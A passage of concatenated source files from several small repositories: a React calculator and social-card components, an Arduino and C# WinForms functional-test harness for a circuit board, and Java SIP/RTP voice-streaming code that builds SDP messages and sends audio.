buttonStyle: 'back'
},
{
text: 1,
buttonStyle: 'number'
},
{
text: 2,
buttonStyle: 'number'
},
{
text: 3,
buttonStyle: 'number'
},
{
text: 4,
buttonStyle: 'number'
},
{
text: 5,
buttonStyle: 'number'
},
{
text: 6,
buttonStyle: 'number'
},
{
text: 7,
buttonStyle: 'number'
},
{
text: 8,
buttonStyle: 'number'
},
{
text: 9,
buttonStyle: 'number'
},
{
text: 0,
buttonStyle: 'zero'
},
{
text: '.',
buttonStyle: 'dot'
}
],
actions: [
{
text: '÷',
buttonStyle: 'action'
},
{
text: 'x',
buttonStyle: 'action'
},
{
text: '-',
buttonStyle: 'action'
},
{
text: '+',
buttonStyle: 'action'
},
{
text: '=',
buttonStyle: 'action'
}
]
}
constructor(props) {
super(props);
this.state = {
total: 0
}
}
clickHandler = (event) => {
let button = event;
if(button === '÷') {
button = '/';
}
if(button === 'x') {
button = '*';
}
if(button === '=') {
this.calculate();
}
else if(button === 'Clear') {
this.reset();
}
else if(button === '<') {
if(this.state.total.length <= 1) {
this.setState({
total: 0
});
} else if(this.state.total.length > 1) {
this.setState({
total: this.state.total.slice(0, -1)
});
}
}
else if(button === '.') {
this.setState({
total: this.state.total + button
});
}
else {
if(this.state.total === 0) {
this.reset();
this.setState({
total: button
});
}
else {
if(document.documentElement.clientWidth > 1399) {
if(this.state.total.length >= 14){
alert('You have gone too far my friend... Start Over!');
this.setState({
total: this.state.total
});
} else {
this.setState({
total: this.state.total + button
});
}
}
else {
if(this.state.total.length >= 10){
alert('You have gone too far my friend... Start Over!');
this.setState({
total: this.state.total
});
} else {
this.setState({
total: this.state.total + button
});
}
}
}
}
};
calculate = () => {
try {
if(eval(this.state.total) < 0) {
this.setState({
total: (eval(this.state.total).toFixed(4) || '0' )
});
} else if(eval(this.state.total) % 1 !== 0) {
this.setState({
total: (eval(this.state.total).toFixed(4) || '0' )
});
} else {
this.setState({
total: (eval(this.state.total) || '0' )
});
}
} catch (e) {
this.setState({
total: "error"
})
}
};
reset = () => {
this.setState({
total: 0
})
};
render(){
return (
<div className="App">
<Display total={this.state.total}/>
<div className="button-container">
<NumberButton numButton={this.props.numbers} onClick={(e) => this.clickHandler(e.target.textContent)}/>
<ActionButton actButton={this.props.actions} onClick={(e) => this.clickHandler(e.target.textContent)}/>
</div>
</div>
);
}
}
export default App;
<file_sep>/Project-I-Social-Card/social-card/src/components/HeaderComponents/ImageThumbnail.js
import React, {Component} from 'react';
import './Header.css';
class ImageThumbnail extends Component {
render() {
return (
<div className="image-thumbnail">
<img src="yarn.png" alt="Lambda School Logo" />
</div>
);
}
}
export default ImageThumbnail;
<file_sep>/Project-II-Calculator/calculator/src/components/ButtonComponents/ActionButton.js
import React, { Component } from 'react';
import './Button.css';
class ActionButton extends Component {
render() {
const button = this.props.actButton.map((act, i) => {
return <button key={i} className={act.buttonStyle} onClick={this.props.onClick}>{act.text}</button>
});
return (
<div className="action-container">
{button}
</div>
);
}
}
export default ActionButton;
<file_sep>/Project-II-Calculator/calculator/src/components/ButtonComponents/NumberButton.js
import React, { Component } from 'react';
import './Button.css';
class NumberButton extends Component {
render() {
const button = this.props.numButton.map((num, i) => {
return <button key={i} className={num.buttonStyle} onClick={this.props.onClick}>{num.text}</button>
});
return (
<div className="numbers-container">
{button}
</div>
);
}
}
export default NumberButton;
<file_sep>/Project-I-Social-Card/social-card/src/components/HeaderComponents/HeaderTitle.js
import React, {Component} from 'react';
import moment from 'moment';
import './Header.css';
class HeaderTitle extends Component {
render() {
return (
<div className='header-title'>
<h1>Lambda School</h1>
<h2>@LambdaSchool</h2>
<h2><span> - </span>{moment().startOf('hour').fromNow()}</h2>
</div>
);
}
}
export default HeaderTitle;
<file_sep>/Project-I-Social-Card/social-card/src/components/CardComponents/CardBanner.js
import React, {Component} from 'react';
import './Card.css';
class CardBanner extends Component {
render() {
return (
<div className="card-banner">
<img src="react.png" alt="react banner" />
</div>
);
}
}
export default CardBanner;
|
e8e6d1815537fc32435226c2c6346d5a9e46c948
|
[
"JavaScript"
] | 6 |
JavaScript
|
zchristy/React-UI-Components
|
aece971007b9ad48c6bedf43509ee69f8f46c66b
|
4271ec1607e57f836063a08a7c79192637fd9458
|
refs/heads/master
|
<file_sep>//////////////////////////////////////////////////////////////////////////////////
/* Site: SMTC Florida
Customer: Lumira
FileName: Amira_Functional_Test.c
Revision: 1
Created on: 10/05/2021
Last Modified: 10/06/2021
Developer(s): B.Trigoboff
Description: Runs functional test for Lumira Amira
*/
//////////////////////////////////////////////////////////////////////////////////
//pin declarations
void setup()
{
Serial.begin(9600);
//pin assignments
//photoresistors
pinMode(2, INPUT_PULLUP);
pinMode(3, INPUT_PULLUP);
pinMode(4, INPUT_PULLUP);
pinMode(5, INPUT_PULLUP);
pinMode(6, INPUT_PULLUP);
pinMode(7, INPUT_PULLUP);
pinMode(8, INPUT_PULLUP);
//device id pins
pinMode(10, INPUT_PULLUP);
pinMode(11, INPUT_PULLUP);
pinMode(12, INPUT_PULLUP);
//voltage sense pins
//pinMode(14, INPUT);
//pinMode(15, INPUT);
}
void loop()
{
getDeviceId();
checkLeds();
//checkMotorA();
//checkMotorB();
delay(3000);
}
//checks digital pins for three bit identification
//digital pins are pulled up, dip switch is NOT-ed e.g. on on off = 001
void getDeviceId()
{
//variable to hold unit under test (deviceUnderTest) value
int deviceUnderTest = 0;
//variables to hold swith positions (ID_0 = switch position 0)
int ID_0 = 0;
int ID_1 = 0;
int ID_2 = 0;
//read D10, D11, D12 and store value in ID variables
ID_0 = digitalRead(10);
ID_1 = digitalRead(11);
ID_2 = digitalRead(12);
if (ID_0 == 0 & ID_1 == 0 & ID_2 == 0)
{
deviceUnderTest = 0;
}
else if (ID_0 == 0 & ID_1 == 0 & ID_2 == 1)
{
deviceUnderTest = 1;
}
else if (ID_0 == 0 & ID_1 == 1 & ID_2 == 0)
{
deviceUnderTest = 2;
}
else if (ID_0 == 0 & ID_1 == 1 & ID_2 == 1)
{
deviceUnderTest = 3;
}
else if (ID_0 == 1 & ID_1 == 0 & ID_2 == 0)
{
deviceUnderTest = 4;
}
else if (ID_0 == 1 && ID_1 == 0 && ID_2 == 1)
{
deviceUnderTest = 5;
}
else if (ID_0 == 1 & ID_1 == 1 & ID_2 == 0)
{
deviceUnderTest = 6;
}
else if (ID_0 == 1 & ID_1 == 1 & ID_2 == 1)
{
deviceUnderTest = 7;
}
Serial.println();
Serial.print("DEVICE_UNDER_TEST = ");
Serial.print(deviceUnderTest , DEC);
Serial.println();
Serial.println();
}
void checkLeds()
{
//send command to DUT to turn LED_0 on
//*INSERT UART STRING COMMAND HERE*
int PR_0 = digitalRead(2);
//send command to DUT to turn LED_0 on
//*INSERT UART STRING COMMAND HERE*
int PR_1 = digitalRead(3);
//send command to DUT to turn LED_0 on
//*INSERT UART STRING COMMAND HERE*
int PR_2 = digitalRead(4);
//send command to DUT to turn LED_0 on
//*INSERT UART STRING COMMAND HERE*
int PR_3 = digitalRead(5);
//send command to DUT to turn LED_0 on
//*INSERT UART STRING COMMAND HERE*
int PR_4 = digitalRead(6);
//send command to DUT to turn LED_0 on
//*INSERT UART STRING COMMAND HERE*
int PR_5 = digitalRead(7);
//send command to DUT to turn LED_0 on
//*INSERT UART STRING COMMAND HERE*
int PR_6 = digitalRead(8);
if (PR_0 == 0 && PR_1 == 0 && PR_2 == 0 && PR_3 == 0 && PR_4 == 0 && PR_5 == 0 && PR_6 == 0)
{
Serial.println("ALL_LEDS_FUNCTIONING");
Serial.println();
}
if (PR_0 == 0)
{
Serial.println("LED0_FUNCTIONING");
}
if (PR_0 == 1)
{
Serial.println("LED0_NOT_FUNCTIONING");
}
if (PR_1 == 0)
{
Serial.println("LED1_FUNCTIONING");
}
if (PR_1 == 1)
{
Serial.println("LED1_NOT_FUNCTIONING");
}
if (PR_2 == 0)
{
Serial.println("LED2_FUNCTIONING");
}
if (PR_2 == 1)
{
Serial.println("LED2_NOT_FUNCTIONING");
}
if (PR_3 == 0)
{
Serial.println("LED3_FUNCTIONING");
}
if (PR_3 == 1)
{
Serial.println("LED3_NOT_FUNCTIONING");
}
if (PR_4 == 0)
{
Serial.println("LED4_FUNCTIONING");
}
if (PR_4 == 1)
{
Serial.println("LED4_NOT_FUNCTIONING");
}
if (PR_5 == 0)
{
Serial.println("LED5_FUNCTIONING");
}
if (PR_5 == 1)
{
Serial.println("LED5_NOT_FUNCTIONING");
}
if (PR_6 == 0)
{
Serial.println("LED6_FUNCTIONING");
}
if (PR_6 == 1)
{
Serial.println("LED6_NOT_FUNCTIONING");
}
Serial.println();
}
<file_sep>using System;
using System.Windows.Forms;
using Ivi.DCPwr.Interop;
using Ivi.Driver.Interop;
using Ivi.SessionFactory.Interop;
using Ivi.Visa.Interop;
using CsvHelper;
using System.IO;
using System.Globalization;
namespace Amiratest
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
static void PublishResults(string[] args)
{
var csvPath = Path.Combine(Environment.CurrentDirectory, $"TestData-{DateTime.Now.ToFileTime()}.csv");
using (var streamWriter = new StreamWriter(csvPath))
{
using (var csvWriter = new CsvWriter(streamWriter, CultureInfo.InvariantCulture))
{
//var data = TestData.board0.serNum;
//csvWriter.WriteRecords(TestData);
}
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Amiratest
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
struct TestData
{
public string serNum;
/*
public int devID;
public float tmpC;
public float tmpF;
public float pwr5V;
public float pwr3V;
public bool led0;
public bool led1;
public bool led2;
public bool led3;
public bool led4;
public bool led5;
public bool led6;
public float mtrAfwd;
public float mtrArev;
public float mtrBfwd;
public float mtrBrev;
*/
}
TestData board0;
TestData board1;
TestData board2;
TestData board3;
TestData board4;
TestData board5;
TestData board6;
TestData board7;
public void dataArrays()
{
string[] boards = new string[8];
boards[0] = "board0";
boards[1] = "board1";
boards[2] = "board2";
boards[3] = "board3";
boards[4] = "board4";
boards[5] = "board5";
boards[6] = "board6";
boards[7] = "board7";
}
private void button1_Click_1(object sender, EventArgs e)
{
//display pre-test checks for user
MessageBox.Show("Make sure this is good.\nMake Sure that is good.\nMake sure thus is good.", "Pre Test Checks");
//cycle through prompt for user to enter serials 1 through 0
board0.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 0", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board0.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board0.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 0", "Full Panel Test");
}
board1.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 1", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board1.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board1.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 1", "Full Panel Test");
}
board2.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 2", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board2.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board2.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 2", "Full Panel Test");
}
board3.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 3", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board3.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board3.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 3", "Full Panel Test");
}
board4.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 4", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board4.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board4.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 4", "Full Panel Test");
}
board5.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 5", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board5.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board5.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 5", "Full Panel Test");
}
board6.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 6", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board6.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board6.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 6", "Full Panel Test");
}
board7.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 7", "Full Panel Test");
//check if serial number was entered correctly, re-prompt user for correct serial
while (string.IsNullOrEmpty(board7.serNum))
{
DialogResult dr = MessageBox.Show("Incorrect Serial Number. Please Re-Enter!", "Error", MessageBoxButtons.RetryCancel, MessageBoxIcon.Warning);
board7.serNum = SerialNumberPrompt.ShowDialog("Please Scan or Enter The Serial Number of the Board in Test Slot 7", "Full Panel Test");
}
/*
MessageBox.Show(board1.serNum, "Board 1 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(board2.serNum, "Board 2 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(board3.serNum, "Board 3 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(board4.serNum, "Board 4 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(board5.serNum, "Board 5 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(board6.serNum, "Board 6 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(board7.serNum, "Board 7 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
MessageBox.Show(board8.serNum, "Board 8 Serial Number", MessageBoxButtons.OK, MessageBoxIcon.Information);
*/
}
private void button2_Click_1(object sender, EventArgs e)
{
}
private void button3_Click_1(object sender, EventArgs e)
{
}
private void button4_Click_1(object sender, EventArgs e)
{
}
private void button5_Click_1(object sender, EventArgs e)
{
}
private void button6_Click(object sender, EventArgs e)
{
}
private void listView1_SelectedIndexChanged(object sender, EventArgs e)
{
}
private void label1_Click(object sender, EventArgs e)
{
}
private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e)
{
}
private void groupBox1_Enter(object sender, EventArgs e)
{
}
private void panel1_Paint(object sender, PaintEventArgs e)
{
}
private void fullArrayTestToolStripMenuItem_Click(object sender, EventArgs e)
{
}
private void header_Paint(object sender, PaintEventArgs e)
{
}
private void testSetupButton_Click(object sender, EventArgs e)
{
string serNum9 = SerialNumberPrompt.ShowDialog("Scan or Enter Test Slot 9's Serial Number", "Single Board Test");
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void exitButton_Click(object sender, EventArgs e)
{
DialogResult dr = MessageBox.Show("Exit Program?", "Exit Program", MessageBoxButtons.YesNo, MessageBoxIcon.Stop);
if (dr == DialogResult.Yes)
{
Application.ExitThread();
}
}
private void abortTestButton_Click(object sender, EventArgs e)
{
DialogResult dr = MessageBox.Show("ALL TEST PROGRESS WILL BE LOST!\nAre you sure?\n", "Abort Test?", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
if (dr == DialogResult.Yes)
{
//abort test algorithm here
}
}
private void listView1_SelectedIndexChanged_1(object sender, EventArgs e)
{
}
private void devicesButton_Click(object sender, EventArgs e)
{
/*
IIviSessionFactory sf = new IviSessionFactory();
try
{
IIviDCPwr instr = (IIviDCPwr)sf.CreateDriver("psu3V");
instr.Initialize("psu3V", true, true, "");
IIviDCPwrOutput output = instr.Outputs.Item["OUTPUT"];
output.VoltageLevel = 3.0;
output.CurrentLimit = 1.0;
output.Enabled = true;
instr.Close();
}
catch (System.Runtime.InteropServices.COMException error)
{
String msg =
String.Format("{0} {1}",
error.Message,
"0x" + Convert.ToString(error.ErrorCode, 16));
System.Diagnostics.Debug.WriteLine(msg);
}
*/
}
private void viewTestResultsButton_Click(object sender, EventArgs e)
{
}
private void viewTestDataButton_Click(object sender, EventArgs e)
{
//open form in separate window
/*Form2 form = new Form2();
form.TopLevel = true;
//this.Controls.Add(form);
form.Show();
*/
//open listView in panel
Form2 myForm = new Form2();
myForm.TopLevel = false;
myForm.AutoScroll = true;
mainPanel.Controls.Add(myForm);
myForm.Show();
}
private void headerLabel_Click(object sender, EventArgs e)
{
}
}
public static class SerialNumberPrompt
{
public static string ShowDialog(string text, string caption)
{
Form prompt = new Form()
{
Width = 500,
Height = 160,
FormBorderStyle = FormBorderStyle.FixedDialog,
Text = caption,
StartPosition = FormStartPosition.CenterScreen
};
Label textLabel = new Label() { Left = 20, Top = 20, Width = 400, Text = text };
TextBox textBox = new TextBox() { Left = 20, Top = 50, Width = 450 };
Button confirmation = new Button() { Text = "OK", Left = 370, Width = 100, Top = 80, DialogResult = DialogResult.OK };
confirmation.Click += (sender, e) => { prompt.Close(); };
Button cancellation = new Button() { Text = "Cancel", Left = 260, Width = 100, Top = 80, DialogResult = DialogResult.OK };
cancellation.Click += (sender, e) => { prompt.Close(); };
prompt.Controls.Add(textBox);
prompt.Controls.Add(textLabel);
prompt.Controls.Add(confirmation);
prompt.AcceptButton = confirmation;
prompt.CancelButton = cancellation;
prompt.Controls.Add(cancellation);
cancellation.DialogResult = DialogResult.Cancel;
return prompt.ShowDialog() == DialogResult.OK ? textBox.Text : "";
}
}
}
|
22ae1b9d34085bb1cc2c9ba71cb86395c410d532
|
[
"C#",
"C++"
] | 3 |
C++
|
btrigoboff/Lumira
|
5e29a7bd457c9f47a03bf7038fdda2178eb3b39b
|
c15efa9aeec82f101dbe2a3d2112b1b8bb625fa1
|
refs/heads/master
|
<file_sep>package audio;
import net.sf.fmj.media.rtp.RTPSessionMgr;
import net.sf.fmj.utility.URLUtils;
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import javax.media.*;
import javax.media.control.FormatControl;
import javax.media.control.TrackControl;
import javax.media.format.AudioFormat;
import javax.media.protocol.ContentDescriptor;
import javax.media.protocol.DataSource;
import javax.media.rtp.ReceiveStream;
import javax.media.rtp.ReceiveStreamListener;
import javax.media.rtp.SendStream;
import javax.media.rtp.SessionAddress;
import javax.media.rtp.event.NewReceiveStreamEvent;
import javax.media.rtp.event.ReceiveStreamEvent;
/**
*
* @author KhangDang
*/
public class ProcessVoiceChat implements ReceiveStreamListener {
Processor processor;
DataSource outDataSource;
RTPSessionMgr voiceSession;
SendStream sendStream;
ReceiveStream receiveStream;
Player player;
public ProcessVoiceChat(String revIP, int revPort, int localPort) {
init(revIP, revPort, localPort);
startMedia();
send();
stopMedia();
}
public void init(String revIP, int revPort, int localPort) {
try {
voiceSession = new RTPSessionMgr();
voiceSession.addReceiveStreamListener(this);
SessionAddress localSessionAddress = new SessionAddress(
InetAddress.getLocalHost(), localPort);
InetAddress revInetAddress = InetAddress.getByName(revIP);
SessionAddress revSessionAddress = new SessionAddress(
revInetAddress, revPort);
voiceSession.initSession(new SessionAddress(), null, 0.25, 0.5);
voiceSession.startSession(localSessionAddress, localSessionAddress, revSessionAddress, null);
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
public void startMedia() {
final String urlStr = URLUtils.createUrlStr(new File("samplemedia/gulp2.wav"));//"file://samplemedia/gulp2.wav";
// File file = new File("C:\\Users\\Tung\\Desktop\\file_example_WAV_1MG-1575813828.wav");
// g729,g711a
Format format = null;
// format = new AudioFormat(BonusAudioFormatEncodings.ALAW_RTP);
format = new AudioFormat(AudioFormat.ULAW_RTP, 8000, 8, 1);
// format = new AudioFormat(AudioFormat.ULAW_RTP, 8000.0, 8, 1, AudioFormat.LITTLE_ENDIAN, AudioFormat.SIGNED);
// format = new AudioFormat(BonusAudioFormatEncodings.ALAW_RTP, 8000, 8, 1);
// format = new AudioFormat(BonusAudioFormatEncodings.SPEEX_RTP, 8000, 8, 1, -1, AudioFormat.SIGNED);
// format = new AudioFormat(BonusAudioFormatEncodings.ILBC_RTP, 8000.0, 16, 1, AudioFormat.LITTLE_ENDIAN, AudioFormat.SIGNED);
// Create a processor for this capturedevice & exit if we
// cannot create it
try {
processor = Manager.createProcessor(new MediaLocator(urlStr));
} catch (IOException e) {
e.printStackTrace();
return;
} catch (NoProcessorException e) {
e.printStackTrace();
return;
}
// configure the processor
processor.configure();
while (processor.getState() != Processor.Configured) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
processor.setContentDescriptor(new ContentDescriptor(ContentDescriptor.RAW_RTP));
TrackControl track[] = processor.getTrackControls();
boolean encodingOk = false;
// Go through the tracks and try to program one of them to
// output gsm data.
for (int i = 0; i < track.length; i++) {
if (!encodingOk && track[i] instanceof FormatControl) {
if (((FormatControl) track[i]).setFormat(format) == null) {
track[i].setEnabled(false);
} else {
encodingOk = true;
}
} else {
// we could not set this track to gsm, so disable it
track[i].setEnabled(false);
}
}
// At this point, we have determined where we can send out
// gsm data or not.
// realize the processor
if (encodingOk) {
if (!new net.sf.fmj.ejmf.toolkit.util.StateWaiter(processor).blockingRealize()) {
System.err.println("Failed to realize");
return;
}
try {
outDataSource = processor.getDataOutput();
} catch (NotRealizedError e) {
e.printStackTrace();
return;
}
}
}
public void send() {
try {
System.out.println("Send stream");
sendStream = voiceSession.createSendStream(outDataSource, 0);
sendStream.start();
processor.start();
} catch (Exception e) {
System.out.println("error : " + e.getMessage());
}
}
public void stopMedia() {
try {
player.stop();
player.deallocate();
player.close();
sendStream.stop();
processor.stop();
processor.deallocate();
processor.close();
voiceSession.closeSession("");
voiceSession.dispose();
} catch (Exception e) {
System.out.println("StopMedia : " + e.getMessage());
}
}
@Override
public void update(ReceiveStreamEvent rse) {
try {
if (rse instanceof NewReceiveStreamEvent) {
receiveStream = rse.getReceiveStream();
DataSource myDs = receiveStream.getDataSource();
player = Manager.createRealizedPlayer(myDs);
player.start();
}
} catch (Exception e) {
System.out.println("Update : " + e.getMessage());
}
}
}
<file_sep>package audio;
import net.sf.fmj.media.BonusAudioFormatEncodings;
import net.sf.fmj.media.codec.audio.alaw.Packetizer;
import net.sf.fmj.utility.URLUtils;
import java.io.File;
import java.io.IOException;
import java.util.Vector;
import javax.media.CaptureDeviceInfo;
import javax.media.CaptureDeviceManager;
import javax.media.DataSink;
import javax.media.Format;
import javax.media.Manager;
import javax.media.MediaLocator;
import javax.media.NoProcessorException;
import javax.media.NotRealizedError;
import javax.media.Processor;
import javax.media.control.FormatControl;
import javax.media.control.TrackControl;
import javax.media.format.AudioFormat;
import javax.media.protocol.ContentDescriptor;
import javax.media.protocol.DataSource;
public class SimpleVoiceTransmiter {
private String file;
private String sipHost;
private int sipPort;
public SimpleVoiceTransmiter(String file, String sipHost, int sipPort) {
this.file = file;
this.sipHost = sipHost;
this.sipPort = sipPort;
}
public static void main(String[] args) {
SimpleVoiceTransmiter audioTest = new SimpleVoiceTransmiter("C:\\project\\SipClientExample\\samplemedia\\gulp2.wav", "sip.linphone.org", 7990);
audioTest.run();
}
/**
*
*/
public void run() {
// final String urlStr = URLUtils.createUrlStr(new File("samplemedia/gulp.wav"));//"file://samplemedia/gulp2.wav";
File file = new File("C:\\project\\SipClientExample\\samplemedia\\gulp2.wav");
// g729,g711a
Format format = null;
format = new AudioFormat(AudioFormat.G729_RTP, 8000, 8, 1);
// Create a processor for this capturedevice & exit if we
// cannot create it
Processor processor = null;
try {
MediaLocator mediaLocator = new MediaLocator(file.toURL());
processor = Manager.createProcessor(mediaLocator);
} catch (IOException e) {
e.printStackTrace();
return;
} catch (NoProcessorException e) {
e.printStackTrace();
return;
}
// configure the processor
processor.configure();
while (processor.getState() != Processor.Configured) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
processor.setContentDescriptor(new ContentDescriptor(ContentDescriptor.RAW_RTP));
TrackControl track[] = processor.getTrackControls();
boolean encodingOk = false;
// Go through the tracks and try to program one of them to
// output gsm data.
for (int i = 0; i < track.length; i++) {
if (!encodingOk && track[i] instanceof FormatControl) {
if (((FormatControl) track[i]).setFormat(format) == null) {
track[i].setEnabled(false);
} else {
encodingOk = true;
}
} else {
// we could not set this track to gsm, so disable it
track[i].setEnabled(false);
}
}
// At this point, we have determined where we can send out
// gsm data or not.
// realize the processor
if (encodingOk) {
if (!new net.sf.fmj.ejmf.toolkit.util.StateWaiter(processor).blockingRealize()) {
System.err.println("Failed to realize");
return;
}
while (processor.getState() != Processor.Realized)
{
try
{
Thread.sleep(100);
} catch (InterruptedException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
}
// get the output datasource of the processor and exit
// if we fail
DataSource ds = null;
try {
ds = processor.getDataOutput();
} catch (NotRealizedError e) {
e.printStackTrace();
return;
}
// hand this datasource to manager for creating an RTP
// datasink our RTP datasink will multicast the audio
try {
String url = "rtp://" + this.sipHost + ":" + this.sipPort + "/audio/16";
MediaLocator m = new MediaLocator(url);
DataSink d = Manager.createDataSink(ds, m);
d.open();
d.start();
System.out.println("Starting processor");
processor.start();
Thread.sleep(3000);
System.out.println("end");
d.close();
} catch (Exception e) {
e.printStackTrace();
return;
}
}
}
}
<file_sep>package packet;
import gov.nist.javax.sdp.fields.AttributeField;
import gov.nist.javax.sdp.fields.SDPKeywords;
import gov.nist.javax.sdp.parser.AttributeFieldParser;
import utils.Utils;
import javax.sdp.*;
import java.util.Date;
import java.util.Vector;
public class SdpMessage {
private static String ipv4Local = Utils.getIPLocal();
public static byte[] createSDPMessage(int rtpLocalPort) throws SdpException {
SdpFactory sdpFactory = SdpFactory.getInstance();
SessionDescription sessionDescription = sdpFactory.createSessionDescription();
Version version = sdpFactory.createVersion(0);
long ss = sdpFactory.getNtpTime(new Date());
Origin origin = sdpFactory.createOrigin("-", ss, ss, SDPKeywords.IN, SDPKeywords.IPV4, ipv4Local);
SessionName sessionName = sdpFactory.createSessionName("Five9");
Connection connection = sdpFactory.createConnection(ipv4Local);
// create t
TimeDescription timeDescription = sdpFactory.createTimeDescription();
Vector timeVector = new Vector();
timeVector.add(timeDescription);
// create m
int[] payloadAudio = new int[2];
// payloadAudio[0] = 8;
// payloadAudio[0] = 0;
payloadAudio[0] = 18;
payloadAudio[1] = 101;
MediaDescription mediaDescription = sdpFactory.createMediaDescription("audio", rtpLocalPort, 1, "RTP/AVP", payloadAudio);
mediaDescription.setAttribute("rtcp", rtpLocalPort + 1 + " IN IP4 " + ipv4Local);
// mediaDescription.setAttribute("rtpmap", "8 PCMA/8000");
// mediaDescription.setAttribute("rtpmap", "0 PCMU/8000");
mediaDescription.setAttribute("sendrecv", null);
mediaDescription.setAttribute("rtpmap", "101 telephone-event/8000");
mediaDescription.setAttribute("fmtp", "101 0-15");
Vector vmedia = new Vector();
vmedia.add(mediaDescription);
sessionDescription.setVersion(version);
sessionDescription.setOrigin(origin);
sessionDescription.setSessionName(sessionName);
sessionDescription.setConnection(connection);
sessionDescription.setTimeDescriptions(timeVector);
sessionDescription.setMediaDescriptions(vmedia);
return sessionDescription.toString().getBytes();
}
public static int getVoicePortSDPMessage(byte[] content) throws SdpException {
SdpFactory sdpFactory = SdpFactory.getInstance();
SessionDescription recSdp = sdpFactory.createSessionDescription(new String(content));
// lấy ra m-line
Vector recMediaDescriptionVector = recSdp.getMediaDescriptions(false);
MediaDescription myAudioDescription = (MediaDescription) recMediaDescriptionVector.elementAt(0);
// lấy ra port trong m-line
int voicePort = myAudioDescription.getMedia().getMediaPort();
return voicePort;
}
}
<file_sep>package server;
import java.io.File;
import java.io.IOException;
import javax.sound.sampled.AudioFormat;
import javax.sound.sampled.AudioInputStream;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.BooleanControl;
import javax.sound.sampled.DataLine;
import javax.sound.sampled.FloatControl;
import javax.sound.sampled.LineUnavailableException;
import javax.sound.sampled.SourceDataLine;
import javax.sound.sampled.UnsupportedAudioFileException;
import java.lang.String;
import java.net.DatagramSocket;
import java.util.Enumeration;
import java.util.Random;
import java.util.ResourceBundle.Control;
import jlibrtp.*;
public class SoundSender extends Thread implements RTPAppIntf {
public RTPSession rtpSession = null;
int pktCount = 0;
static int dataCount = 0;
private String filename;
private final int EXTERNAL_BUFFER_SIZE = 1024;
